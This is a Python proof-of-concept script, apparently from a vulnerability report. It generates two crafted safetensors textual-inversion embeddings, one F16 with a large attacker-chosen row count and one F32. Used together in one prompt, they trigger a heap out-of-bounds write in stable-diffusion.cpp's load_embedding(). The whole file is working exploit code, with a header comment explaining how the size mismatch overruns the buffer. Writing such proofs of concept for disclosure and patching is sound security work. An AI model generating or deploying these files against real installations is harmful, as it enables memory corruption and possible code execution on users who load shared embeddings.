make_embeddings.py

# Craft two malicious textual-inversion embeddings that together trigger the
# stable-diffusion.cpp conditioner load_embedding() heap OOB write.
#   embd_f16.safetensors : dtype F16, shape [R0, 768]  (R0 large, attacker-controlled ne[1])
#   embd_f32.safetensors : dtype F32, shape [1, 768]
# Referencing BOTH in one prompt (F16 first, F32 second) makes the F32 memcpy write
# num_custom_embeddings(=R0) * 768 * sizeof(F32) as its offset, while only R0*768*2 bytes
# of F16 data were actually stored -> writes R0*768*2 bytes past the buffer.
import json, struct, sys
H = 768                       # CLIP-L hidden_size (SD1.x)
R0 = int(sys.argv[1]) if len(sys.argv) > 1 else 8000
def write_st(path, dtype, shape, itemsize, fill):
    n = 1
    for d in shape: n *= d
    data = bytes([fill]) * (n * itemsize)
    header = {"emb_params": {"dtype": dtype, "shape": list(shape), "data_offsets": [0, len(data)]}}
    hb = json.dumps(header).encode("utf-8")
    with open(path, "wb") as f:
        f.write(struct.pack("<Q", len(hb))); f.write(hb); f.write(data)
    print(f"{path}: dtype={dtype} shape={shape} bytes={len(data)}")
write_st(f"{sys.argv[2] if len(sys.argv)>2 else '.'}/embd_f16.safetensors", "F16", (R0, H), 2, 0xAA)
write_st(f"{sys.argv[2] if len(sys.argv)>2 else '.'}/embd_f32.safetensors", "F32", (1,  H), 4, 0x41)